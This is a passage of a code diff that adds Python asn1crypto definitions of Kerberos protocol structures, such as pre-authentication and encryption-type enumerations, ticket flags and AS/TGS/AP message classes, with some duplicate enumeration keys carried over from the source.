+APPLICATION = 1
+CONTEXT = 2
+krb5_pvno = 5 #-- current Kerberos protocol version number
+
+class PADATA_TYPE(core.Enumerated):
+	_map = {
+		0   : 'NONE', #(0),
+		1   : 'TGS-REQ', #(1), #		1   : 'AP-REQ', #(1),
+		2   : 'ENC-TIMESTAMP', #(2),
+		3   : 'PW-SALT', #(3),
+		5   : 'ENC-UNIX-TIME', #(5),
+		6   : 'SANDIA-SECUREID', #(6),
+		7   : 'SESAME', #(7),
+		8   : 'OSF-DCE', #(8),
+		9   : 'CYBERSAFE-SECUREID', #(9),
+		10  : 'AFS3-SALT', #(10),
+		11  : 'ETYPE-INFO', #(11),
+		12  : 'SAM-CHALLENGE', #(12), -- ', #(sam/otp)
+		13  : 'SAM-RESPONSE', #(13), -- ', #(sam/otp)
+		14  : 'PK-AS-REQ-19', #(14), -- ', #(PKINIT-19)
+		15  : 'PK-AS-REP-19', #(15), -- ', #(PKINIT-19)
+		15  : 'PK-AS-REQ-WIN', #(15), -- ', #(PKINIT - old number)
+		16  : 'PK-AS-REQ', #(16), -- ', #(PKINIT-25)
+		17  : 'PK-AS-REP', #(17), -- ', #(PKINIT-25)
+		18  : 'PA-PK-OCSP-RESPONSE', #(18),
+		19  : 'ETYPE-INFO2', #(19),
+		20  : 'USE-SPECIFIED-KVNO', #(20),
+		20  : 'SVR-REFERRAL-INFO', #(20), --- old ms referral number
+		21  : 'SAM-REDIRECT', #(21), -- ', #(sam/otp)
+		22  : 'GET-FROM-TYPED-DATA', #(22),
+		23  : 'SAM-ETYPE-INFO', #(23),
+		25  : 'SERVER-REFERRAL', #(25),
+		24  : 'ALT-PRINC', #(24),		-- ', #(crawdad@fnal.gov)
+		30  : 'SAM-CHALLENGE2', #(30),		-- ', #(kenh@pobox.com)
+		31  : 'SAM-RESPONSE2', #(31),		-- ', #(kenh@pobox.com)
+		41  : 'PA-EXTRA-TGT', #(41),			-- Reserved extra TGT
+		102 : 'TD-KRB-PRINCIPAL', #(102),	-- PrincipalName
+		104 : 'PK-TD-TRUSTED-CERTIFIERS', #(104), -- PKINIT
+		105 : 'PK-TD-CERTIFICATE-INDEX', #(105), -- PKINIT
+		106 : 'TD-APP-DEFINED-ERROR', #(106),	-- application specific
+		107 : 'TD-REQ-NONCE', #(107),		-- INTEGER
+		108 : 'TD-REQ-SEQ', #(108),		-- INTEGER
+		128 : 'PA-PAC-REQUEST', #(128),	-- jbrezak@exchange.microsoft.com
+		129 : 'PA-FOR-USER', #(129),		-- MS-KILE
+		130 : 'FOR-X509-USER', #(130),		-- MS-KILE
+		131 : 'FOR-CHECK-DUPS', #(131),	-- MS-KILE
+		132 : 'AS-CHECKSUM', #(132),		-- MS-KILE
+		132 : 'PK-AS-09-BINDING', #(132),	-- client send this to -- tell KDC that is supports -- the asCheckSum in the --  PK-AS-REP
+		133 : 'CLIENT-CANONICALIZED', #(133),	-- referals
+		133 : 'FX-COOKIE', #(133),		-- krb-wg-preauth-framework
+		134 : 'AUTHENTICATION-SET', #(134),	-- krb-wg-preauth-framework
+		135 : 'AUTH-SET-SELECTED', #(135),	-- krb-wg-preauth-framework
+		136 : 'FX-FAST', #(136),		-- krb-wg-preauth-framework
+		137 : 'FX-ERROR', #(137),		-- krb-wg-preauth-framework
+		138 : 'ENCRYPTED-CHALLENGE', #(138),	-- krb-wg-preauth-framework
+		141 : 'OTP-CHALLENGE', #(141),		-- ', #(gareth.richards@rsa.com)
+		142 : 'OTP-REQUEST', #(142),		-- ', #(gareth.richards@rsa.com)
+		143 : 'OTP-CONFIRM', #(143),		-- ', #(gareth.richards@rsa.com)
+		144 : 'OTP-PIN-CHANGE', #(144),	-- ', #(gareth.richards@rsa.com)
+		145 : 'EPAK-AS-REQ', #(145),
+		146 : 'EPAK-AS-REP', #(146),
+		147 : 'PKINIT-KX', #(147),		-- krb-wg-anon
+		148 : 'PKU2U-NAME', #(148),		-- zhu-pku2u
+		149 : 'REQ-ENC-PA-REP', #(149),	--
+		151 : 'SPAKE', #(151),	https://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1
+		165 : 'SUPPORTED-ETYPES', #(165)	-- MS-KILE
+		167 : 'PA-PAC-OPTIONS',
+	}
+	
+class AUTHDATA_TYPE(core.Enumerated):
+	_map = {
+		1 : 'IF-RELEVANT', #1),
+		2 : 'INTENDED-FOR-SERVER', #2),
+		3 : 'INTENDED-FOR-APPLICATION-CLASS', #3),
+		4 : 'KDC-ISSUED', #4),
+		5 : 'AND-OR', #5),
+		6 : 'MANDATORY-TICKET-EXTENSIONS', #6),
+		7 : 'IN-TICKET-EXTENSIONS', #7),
+		8 : 'MANDATORY-FOR-KDC', #8),
+		9 : 'INITIAL-VERIFIED-CAS', #9),
+		64 : 'OSF-DCE', #64),
+		65 : 'SESAME', #65),
+		66 : 'OSF-DCE-PKI-CERTID', #66),
+		70 : 'AD-authentication-strength',
+		71 : 'AD-fx-fast-armor',
+		72 : 'AD-fx-fast-used',
+		128 : 'WIN2K-PAC', #128),
+		129 : 'GSS-API-ETYPE-NEGOTIATION', #129), -- Authenticator only
+		-17 : 'SIGNTICKET-OLDER', #-17),
+		142 : 'SIGNTICKET-OLD', #142),
+		512 : 'SIGNTICKET', #512)
+	}
+
+class CKSUMTYPE(core.Enumerated):
+	_map = {
+		0 : 'NONE', #0),
+		1 : 'CRC32', #1),
+		2 : 'RSA_MD4', #2),
+		3 : 'RSA_MD4_DES', #3),
+		4 : 'DES_MAC', #4),
+		5 : 'DES_MAC_K', #5),
+		6 : 'RSA_MD4_DES_K', #6),
+		7 : 'RSA_MD5', #7),
+		8 : 'RSA_MD5_DES', #8),
+		9 : 'RSA_MD5_DES3', #9),
+		10 : 'SHA1_OTHER', #10),
+		12 : 'HMAC_SHA1_DES3', #12),
+		14 : 'SHA1', #14),
+		15 : 'HMAC_SHA1_96_AES_128', #15),
+		16 : 'HMAC_SHA1_96_AES_256', #16),
+		0x8003 : 'GSSAPI', #0x8003),
+		-138 : 'HMAC_MD5', #-138),	-- unofficial microsoft number
+		-1138 : 'HMAC_MD5_ENC', #-1138)	-- even more unofficial
+	}
+
+#enctypes
+class ENCTYPE(core.Enumerated):
+	_map = {
+		0 : 'NULL', #0),
+		1 : 'DES_CBC_CRC', #1),
+		2 : 'DES_CBC_MD4', #2),
+		3 : 'DES_CBC_MD5', #3),
+		5 : 'DES3_CBC_MD5', #5),
+		7 : 'OLD_DES3_CBC_SHA1', #7),
+		8 : 'SIGN_DSA_GENERATE', #8),
+		9 : 'ENCRYPT_RSA_PRIV', #9),
+		10 : 'ENCRYPT_RSA_PUB', #10),
+		16 : 'DES3_CBC_SHA1', #16),	-- with key derivation
+		17 : 'AES128_CTS_HMAC_SHA1_96', #17),
+		18 : 'AES256_CTS_HMAC_SHA1_96', #18),
+		23 : 'ARCFOUR_HMAC_MD5', #23),
+		24 : 'ARCFOUR_HMAC_MD5_56', #24),
+		48 : 'ENCTYPE_PK_CROSS', #48),
+		#-- some "old" windows types
+		-128 : 'ARCFOUR_MD4', #-128),
+		-133 : 'ARCFOUR_HMAC_OLD', #-133),
+		-135 : 'ARCFOUR_HMAC_OLD_EXP', #-135),
+		#-- these are for Heimdal internal use
+		-0x1000 : 'DES_CBC_NONE', #-0x1000),
+		-0x1001 : 'DES3_CBC_NONE', #-0x1001),
+		-0x1002 : 'DES_CFB64_NONE', #-0x1002),
+		-0x1003 : 'DES_PCBC_NONE', #-0x1003),
+		-0x1004 : 'DIGEST_MD5_NONE', #-0x1004),		-- private use, lukeh@padl.com
+		-0x1005 : 'CRAM_MD5_NONE', #-0x1005)		-- private use, lukeh@padl.com
+	}
+	
+class SequenceOfEnctype(core.SequenceOf):
+	_child_spec = core.Integer
+
+class Microseconds(core.Integer):
+	"""    ::= INTEGER (0..999999)
+	-- microseconds
+    """      
+class krb5int32 (core.Integer):
+    """krb5int32  ::= INTEGER (-2147483648..2147483647)
+    """
+
+
+class krb5uint32 (core.Integer):
+    """krb5uint32  ::= INTEGER (0..4294967295)
+    """
+
+class KerberosString(core.GeneralString):
+	"""KerberosString ::= GeneralString (IA5String)
+	For compatibility, implementations MAY choose to accept GeneralString
+	values that contain characters other than those permitted by
+	IA5String...
+	"""
+	
+class SequenceOfKerberosString(core.SequenceOf):
+	_child_spec = KerberosString
+	
+# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py
+class Realm(KerberosString):
+	"""Realm ::= KerberosString
+	"""
+
+	
+# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py
+class PrincipalName(core.Sequence):
+	"""PrincipalName for KDC-REQ-BODY and Ticket
+	PrincipalName ::= SEQUENCE {
+		name-type	[0] Int32,
+		name-string  [1] SEQUENCE OF KerberosString
+	}
+	"""
+	_fields = [
+		('name-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('name-string', SequenceOfKerberosString, {'tag_type': TAG, 'tag': 1}),
+	]
+	
+	
+class Principal(core.Sequence):
+	_fields = [
+		('name', PrincipalName, {'tag_type': TAG, 'tag': 0}),
+		('realm', Realm, {'tag_type': TAG, 'tag': 1}),
+	]
+
+	
+class Principals(core.SequenceOf):
+	_child_spec = Principal
+
+	
+class HostAddress(core.Sequence):
+    """HostAddress for HostAddresses
+    HostAddress ::= SEQUENCE {
+        addr-type        [0] Int32,
+        address  [1] OCTET STRING
+    }
+    """
+    _fields = [
+        ('addr-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+        ('address', core.OctetString, {'tag_type': TAG, 'tag': 1}),
+]
+
+
+class HostAddresses(core.SequenceOf):
+	"""SEQUENCE OF HostAddress
+	"""
+	_child_spec = HostAddress
+	
+	
+class KerberosTime(core.GeneralizedTime):
+    """KerberosTime ::= GeneralizedTime
+    """
+
+	
+class AuthorizationDataElement(core.Sequence):
+	_fields = [
+        ('ad-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+        ('ad-data', core.OctetString, {'tag_type': TAG, 'tag': 1}),
+	]
+
+	
+class AuthorizationData(core.SequenceOf):
+	"""SEQUENCE OF HostAddress
+	"""
+	_child_spec = AuthorizationDataElement
+	
+
+class APOptions(core.BitString):
+	_map = {
+		0 : 'reserved', #(0),
+		1 : 'use-session-key', #(1),
+		2 : 'mutual-required', #(2)
+	}
+
+	
+class TicketFlags(core.BitString):
+	_map = {
+		0: 'reserved',
+		1: 'forwardable',
+		2: 'forwarded',
+		3: 'proxiable',
+		4: 'proxy',
+		5: 'may-postdate',
+		6: 'postdated',
+		7: 'invalid',
+		8: 'renewable',
+		9: 'initial',
+		10: 'pre-authent',
+		11: 'hw-authent',
+		12: 'transited-policy-checked',
+		13: 'ok-as-delegate',
+		14: 'anonymous',
+		15: 'enc-pa-rep'
+	}
+
+
+class KDCOptions(core.BitString):
+	_map = {
+		0: 'reserved',
+		1: 'forwardable',
+		2: 'forwarded',
+		3: 'proxiable',
+		4: 'proxy',
+		5: 'allow-postdate',
+		6: 'postdated',
+		7: 'unused7',
+		8: 'renewable',
+		9: 'unused9',
+		10: 'unused10',
+		11: 'opt-hardware-auth',
+		12: 'unused12',
+		13: 'unused13',
+		14: 'constrained-delegation', #-- cname-in-addl-tkt (14) 
+		15: 'canonicalize',
+		16: 'request-anonymous',
+		17: 'unused17',
+		18: 'unused18',
+		19: 'unused19',
+		20: 'unused20',
+		21: 'unused21',
+		22: 'unused22',
+		23: 'unused23',
+		24: 'unused24',
+		25: 'unused25',
+		26: 'disable-transited-check',
+		27: 'renewable-ok',
+		28: 'enc-tkt-in-skey',
+		30: 'renew',
+		31: 'validate',
+	}
+
+class LR_TYPE(core.Enumerated):
+	_map = {
+		0 : 'NONE', #0),		-- no information
+		1 : 'INITIAL_TGT', #1),	-- last initial TGT request
+		2 : 'INITIAL', #2),		-- last initial request
+		3 : 'ISSUE_USE_TGT', #3),	-- time of newest TGT used
+		4 : 'RENEWAL', #4),		-- time of last renewal
+		5 : 'REQUEST', #5),		-- time of last request ', #of any type)
+		6 : 'PW_EXPTIME', #6),	-- expiration time of password
+		7 : 'ACCT_EXPTIME', #7)	-- expiration time of account
+	}
+	
+class LastReqInner(core.Sequence):
+	_fields = [
+		('lr-type', krb5int32, {'tag_type': TAG, 'tag': 0}), #LR_TYPE
+		('lr-value', KerberosTime, {'tag_type': TAG, 'tag': 1}),
+	]
+
+class LastReq(core.SequenceOf):
+	_child_spec = LastReqInner
+
+
+class EncryptedData(core.Sequence):
+	_fields = [
+		('etype', krb5int32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType
+		('kvno', krb5uint32, {'tag_type': TAG, 'tag': 1, 'optional': True}), #
+		('cipher', core.OctetString, {'tag_type': TAG, 'tag': 2}), #ciphertext
+	]
+
+
+class EncryptionKey(core.Sequence):
+	_fields = [
+		('keytype', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- EncryptionType
+		('keyvalue', core.OctetString, {'tag_type': TAG, 'tag': 1}), #
+	]
+
+
+#-- encoded Transited field
+
+class TransitedEncoding(core.Sequence):
+	_fields = [
+		('tr-type', krb5uint32, {'tag_type': TAG, 'tag': 0}), #-- must be registered
+		('contents', core.OctetString, {'tag_type': TAG, 'tag': 1}), #
+	]
+
+
+
+# https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py
+class Ticket(core.Sequence):
+	explicit = (APPLICATION,1)
+	
+	_fields = [
+		('tkt-vno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('realm', Realm, {'tag_type': TAG, 'tag': 1}),
+		('sname', PrincipalName, {'tag_type': TAG, 'tag': 2}),
+		('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 3}), #EncTicketPart
+	]
+	
+class SequenceOfTicket(core.SequenceOf):
+	"""SEQUENCE OF Ticket for KDC-REQ-BODY
+	"""
+	_child_spec = Ticket
+
+
+#-- Encrypted part of ticket
+class EncTicketPart(core.Sequence):
+	explicit = (APPLICATION, 3)
+	
+	_fields = [
+		('flags', TicketFlags, {'tag_type': TAG, 'tag': 0}),
+		('key', EncryptionKey, {'tag_type': TAG, 'tag': 1}),
+		('crealm', Realm, {'tag_type': TAG, 'tag': 2}),
+		('cname', PrincipalName, {'tag_type': TAG, 'tag': 3}),
+		('transited', TransitedEncoding, {'tag_type': TAG, 'tag': 4}),
+		('authtime', KerberosTime, {'tag_type': TAG, 'tag': 5}),
+		('starttime', KerberosTime, {'tag_type': TAG, 'tag': 6, 'optional': True}),
+		('endtime', KerberosTime, {'tag_type': TAG, 'tag': 7}),
+		('renew-till', KerberosTime, {'tag_type': TAG, 'tag': 8, 'optional': True}),
+		('caddr', HostAddresses, {'tag_type': TAG, 'tag': 9, 'optional': True}),
+		('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 10, 'optional': True}),
+	]
+
+
+class Checksum(core.Sequence):
+	_fields = [
+		('cksumtype', krb5int32, {'tag_type': TAG, 'tag': 0}), #CKSUMTYPE
+		('checksum', core.OctetString, {'tag_type': TAG, 'tag': 1}),
+	]
+
+
+class Authenticator(core.Sequence):
+	explicit = (APPLICATION,2)
+	
+	_fields = [
+		('authenticator-vno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('crealm', Realm, {'tag_type': TAG, 'tag': 1}),
+		('cname', PrincipalName, {'tag_type': TAG, 'tag': 2}),
+		('cksum', Checksum, {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('cusec', krb5int32, {'tag_type': TAG, 'tag': 4}),
+		('ctime', KerberosTime, {'tag_type': TAG, 'tag': 5}),
+		('subkey', EncryptionKey, {'tag_type': TAG, 'tag': 6, 'optional': True}),
+		('seq-number', krb5uint32, {'tag_type': TAG, 'tag': 7, 'optional': True}),
+		('authorization-data', AuthorizationData, {'tag_type': TAG, 'tag': 8, 'optional': True}),
+	]
+
+
+class PA_DATA(core.Sequence): #!!!! IT STARTS AT ONE!!!!
+	_fields = [
+		('padata-type', core.Integer, {'tag_type': TAG, 'tag': 1}),
+		('padata-value', core.OctetString, {'tag_type': TAG, 'tag': 2}),
+	]
+	
+class ETYPE_INFO_ENTRY(core.Sequence):
+	_fields = [
+		('etype', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('salt', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('salttype', krb5int32, {'tag_type': TAG, 'tag': 2, 'optional': True}),
+	]
+
+class ETYPE_INFO(core.SequenceOf):
+	_child_spec = ETYPE_INFO_ENTRY
+
+
+class ETYPE_INFO2_ENTRY(core.Sequence):
+	_fields = [
+		('etype', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('salt', KerberosString, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('s2kparams', core.OctetString, {'tag_type': TAG, 'tag': 2, 'optional': True}),
+	]
+	
+class ETYPE_INFO2(core.SequenceOf):
+	_child_spec = ETYPE_INFO2_ENTRY
+
+class METHOD_DATA(core.SequenceOf):
+	_child_spec = PA_DATA
+
+
+class TypedData(core.Sequence):
+	_fields = [
+		('data-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('data-value', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+	]
+
+"""
+class TYPED-DATA ::= SEQUENCE SIZE (1..MAX) OF TypedData
+"""
+
+
+class KDC_REQ_BODY(core.Sequence):
+	_fields = [
+		('kdc-options', KDCOptions, {'tag_type': TAG, 'tag': 0}),
+		('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('realm', Realm, {'tag_type': TAG, 'tag': 2}),
+		('sname', PrincipalName , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('from', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}),
+		('till', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}),
+		('rtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),
+		('nonce', krb5int32 , {'tag_type': TAG, 'tag': 7}),
+		('etype', SequenceOfEnctype , {'tag_type': TAG, 'tag': 8}), # -- EncryptionType,preference order
+		('addresses', HostAddresses , {'tag_type': TAG, 'tag': 9, 'optional': True}),
+		('enc-authorization-data', EncryptedData , {'tag_type': TAG, 'tag': 10, 'optional': True}), #-- Encrypted AuthorizationData encoding
+		('additional-tickets', SequenceOfTicket , {'tag_type': TAG, 'tag': 11, 'optional': True}),
+	
+	]
+
+class KDC_REQ(core.Sequence):
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 1}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 2}), #MESSAGE_TYPE
+		('padata', METHOD_DATA , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('req-body', KDC_REQ_BODY , {'tag_type': TAG, 'tag': 4}),
+	]
+
+
+class AS_REQ(KDC_REQ):
+	explicit = (APPLICATION, 10)
+	
+class TGS_REQ(KDC_REQ):
+	explicit = (APPLICATION, 12)
+
+class FastOptions(core.BitString):
+	_map = {
+		0:  'reserved',
+		1:  'hide-client-names',
+		2:  'critical_2', #forwarded',
+		3:  'critical_3', #proxiable',
+		4:  'critical_4', #proxy',
+		5:  'critical_5', #may-postdate',
+		6:  'critical_6', #postdated',
+		7:  'critical_7', #invalid',
+		8:  'critical_8', #renewable',
+		9:  'critical_9', #initial',
+		10: 'critical_10', #pre-authent',
+		11: 'critical_11', #hw-authent',
+		12: 'critical_12', #transited-policy-checked',
+		13: 'critical_13', #ok-as-delegate',
+		14: 'critical_14', #anonymous',
+		15: 'critical_15', #enc-pa-rep',
+		16: 'kdc-follow-referrals'
+	}
+	# error: KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS   93
+#5.4.1.  FAST Armors
+
+class EncryptedChallenge(EncryptedData):
+	pass
+
+class AUTHENTICATION_SET_ELEM(core.SequenceOf):
+	_fields = [
+		('pa-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('pa-hint', core.OctetString, {'tag_type': TAG, 'tag': 1 , 'optional': True}),
+		('pa-value', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+	]
+
+class AUTHENTICATION_SET(core.SequenceOf):
+	_child_spec = AUTHENTICATION_SET_ELEM
+
+class KrbFastArmor(core.Sequence):
+	_fields = [
+		('armor-type', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('armor-value', core.OctetString, {'tag_type': TAG, 'tag': 1}),
+	]
+
+
+class KrbFastArmoredReq(core.Sequence):
+	_fields = [
+		('armor', KrbFastArmor, {'tag_type': TAG, 'tag': 0, 'optional':True}),
+		('req-checksum', Checksum, {'tag_type': TAG, 'tag': 1}),
+		('enc-fast-req', EncryptedData, {'tag_type': TAG, 'tag': 2}), #KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM          50 #KEY_USAGE_FAST_ENC                 51
+	]
+
+class KrbFastReq(core.Sequence):
+	_fields = [
+		('fast-options', FastOptions, {'tag_type': TAG, 'tag': 0}),
+		('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 1}),
+		('req-body', KDC_REQ_BODY, {'tag_type': TAG, 'tag': 2}),
+	]
+
+
+class KrbFastFinished(core.Sequence):
+	_fields = [
+		('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 0}), 
+		('usec', Microseconds, {'tag_type': TAG, 'tag': 1}), 
+		('crealm', Realm, {'tag_type': TAG, 'tag': 2}), 
+		('cname', PrincipalName, {'tag_type': TAG, 'tag': 3}), 
+		('ticket-checksum', Checksum, {'tag_type': TAG, 'tag': 4}), #KEY_USAGE_FAST_FINISHED            53
+
+	]
+
+class KrbFastArmoredRep(core.Sequence):
+	_fields = [
+		('enc-fast-rep', EncryptedData, {'tag_type': TAG, 'tag': 0}), #KrbFastResponse KEY_USAGE_FAST_REP                 52
+	]
+
+class KrbFastResponse(core.Sequence):
+	_fields = [
+		('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 0}),
+		('strengthen-key', EncryptionKey, {'tag_type': TAG, 'tag': 1, 'optional':True}),
+		('finished', KrbFastFinished, {'tag_type': TAG, 'tag': 2, 'optional':True}), #KrbFastReq #KEY_USAGE_FAST_REQ_CHKSUM          50 #KEY_USAGE_FAST_ENC                 51
+		('nonce', krb5uint32, {'tag_type': TAG, 'tag': 3}),
+	]
+
+#-- padata-type ::= PA-ENC-TIMESTAMP
+#-- padata-value ::= EncryptedData - PA-ENC-TS-ENC
+
+class PA_PAC_OPTIONSTypes(core.BitString):
+	_map = {
+			0: 'Claims',
+			1: 'Branch Aware',
+			2: 'Forward to Full DC',
+			3: 'resource-based constrained delegation',
+		}
+
+class PA_FX_FAST_REQUEST(core.Choice):
+	_alternatives = [
+		('armored-data', KrbFastArmoredReq, {'explicit': (CONTEXT,0) }  ),
+	]
+
+class PA_FX_FAST_REPLY(core.Choice):
+	_alternatives = [
+		('armored-data', KrbFastArmoredRep, {'explicit': (CONTEXT,0) }  ),
+	]
+
+
+
+class PA_PAC_OPTIONS(core.Sequence):
+	_fields = [
+		('value', PA_PAC_OPTIONSTypes, {'tag_type': TAG, 'tag': 0}),
+	]
+	
+
+	
+
+class PA_ENC_TS_ENC(core.Sequence):
+	_fields = [
+		('patimestamp', KerberosTime, {'tag_type': TAG, 'tag': 0}), #-- client's time
+		('pausec', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional':True}),
+	]
+
+#-- draft-brezak-win2k-krb-authz-01
+class PA_PAC_REQUEST(core.Sequence):
+	_fields = [
+		('include-pac', core.Boolean, {'tag_type': TAG, 'tag': 0}), #-- Indicates whether a PAC should be included or not
+	]
+
+#-- PacketCable provisioning server location, PKT-SP-SEC-I09-030728.pdf
+class PROV_SRV_LOCATION(core.GeneralString):
+	pass
+
+
+class KDC_REP(core.Sequence):
+	_fields = [
+		('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE
+		('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('crealm', Realm , {'tag_type': TAG, 'tag': 3}),
+		('cname', PrincipalName , {'tag_type': TAG, 'tag': 4}),
+		('ticket', Ticket , {'tag_type': TAG, 'tag': 5}),
+		('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 6}), #EncKDCRepPart
+	]
+	
+
+class AS_REP(KDC_REP):
+	#::= [APPLICATION 11] KDC-REP
+	explicit = (APPLICATION, 11)
+	
+class TGS_REP(KDC_REP): # ::= [APPLICATION 13] KDC-REP
+	explicit = (APPLICATION, 13)
+	
+	
+class EncKDCRepPart(core.Sequence):
+	_fields = [
+		('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}),
+		('last-req', LastReq, {'tag_type': TAG, 'tag': 1}),
+		('nonce', krb5int32, {'tag_type': TAG, 'tag': 2}),
+		('key-expiration', KerberosTime , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('flags', TicketFlags , {'tag_type': TAG, 'tag': 4}),
+		('authtime', KerberosTime , {'tag_type': TAG, 'tag': 5}),
+		('starttime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),
+		('endtime', KerberosTime , {'tag_type': TAG, 'tag': 7}),
+		('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 8, 'optional': True}),
+		('srealm', Realm , {'tag_type': TAG, 'tag': 9}),
+		('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}),
+		('caddr', HostAddresses , {'tag_type': TAG, 'tag': 11, 'optional': True}),
+		('encrypted-pa-data', METHOD_DATA , {'tag_type': TAG, 'tag': 12, 'optional': True}),
+	]
+
+class EncASRepPart(EncKDCRepPart):
+	explicit = (APPLICATION, 25)
+	
+class EncTGSRepPart(EncKDCRepPart):
+	explicit = (APPLICATION, 26)
+
+class AP_REQ(core.Sequence):
+	explicit = (APPLICATION, 14)
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE
+		('ap-options', APOptions, {'tag_type': TAG, 'tag': 2}),
+		('ticket', Ticket , {'tag_type': TAG, 'tag': 3}),
+		('authenticator', EncryptedData , {'tag_type': TAG, 'tag': 4}),
+	]
+
+class AP_REP(core.Sequence):
+	explicit = (APPLICATION, 15)
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE
+		('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 2}),
+	]
+
+
+class EncAPRepPart(core.Sequence):
+	explicit = (APPLICATION, 27)
+	_fields = [
+		('ctime', KerberosTime, {'tag_type': TAG, 'tag': 0}),
+		('cusec', krb5int32, {'tag_type': TAG, 'tag': 1}),
+		('subkey', EncryptionKey , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+	]
+
+
+class KRB_SAFE_BODY(core.Sequence):
+	_fields = [
+		('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}),
+		('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),
+		('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),
+	]
+
+
+class KRB_SAFE(core.Sequence):
+	explicit = (APPLICATION, 20)
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE
+		('safe-body', KRB_SAFE_BODY , {'tag_type': TAG, 'tag': 2}),
+		('cksum', Checksum , {'tag_type': TAG, 'tag': 3}),
+	]
+
+class KRB_PRIV(core.Sequence):
+	explicit = (APPLICATION, 21)
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE
+		('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 2}),
+	] 
+
+
+class EncKrbPrivPart(core.Sequence):
+	explicit = (APPLICATION, 28)
+	_fields = [
+		('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}),
+		('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),
+		('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),
+	]
+
+
+class KRB_CRED(core.Sequence):
+	explicit = (APPLICATION, 22)
+	_fields = [
+		('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}),
+		('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}),
+		('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}),
+	
+	]
+	
+# http://web.mit.edu/freebsd/head/crypto/heimdal/lib/asn1/krb5.asn1
+class KrbCredInfo(core.Sequence):
+	_fields = [
+		('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}),
+		('prealm', Realm, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('pname', PrincipalName, {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('flags', TicketFlags , {'tag_type': TAG, 'tag': 3, 'optional': True}),
